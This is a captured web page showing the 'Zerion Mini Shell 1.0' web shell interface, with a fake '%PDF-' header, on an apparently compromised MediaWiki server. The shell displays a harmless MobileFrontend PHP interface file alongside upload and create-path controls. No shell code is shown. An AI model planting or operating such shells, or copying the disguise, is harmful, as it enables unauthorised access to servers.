%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/wiki.varak.net/extensions/MobileFrontend/includes/features/
Upload File :
Create Path :
Current File : /www/varak.net/wiki.varak.net/extensions/MobileFrontend/includes/features/IFeature.php

<?php
namespace MobileFrontend\Features;

interface IFeature {

	/**
	 * Beta mode defined in config
	 * @var string
	 */
	const CONFIG_BETA = 'beta';
	/**
	 * Stable mode defined in config
	 * @var string
	 */
	const CONFIG_STABLE = 'base';

	/**
	 * Get the feature id
	 * Used as a identifier in forms, database etc. Should be unique
	 *
	 * @return string
	 */
	public function getId();

	/**
	 * Get the feature group
	 * @return string
	 */
	public function getGroup();

	/**
	 * Serialise the feature as a string so that the feature manager can perform array_diff
	 * and array_intersect on results and identify where features are available and where they are not.
	 * This should return the value of getId.
	 * @return string
	 */
	public function __toString();

	/**
	 * Check feature availability in given mode ( Stable, beta, alpha etc )
	 * @param string $mode Mode
	 * @return bool
	 */
	public function isAvailable( $mode );
	/**
	 * The feature name defined as a translation tag
	 * ex: mobile-frontend-mobile-option-MFLazyLoadReferences
	 * @return string
	 */
	public function getNameKey();

	/**
	 * The feature name defined as a translation tag,
	 * ex: mobile-frontend-mobile-option-MFLazyLoadReferences-description
	 * @return string
	 */
	public function getDescriptionKey();

}

Zerion Mini Shell 1.0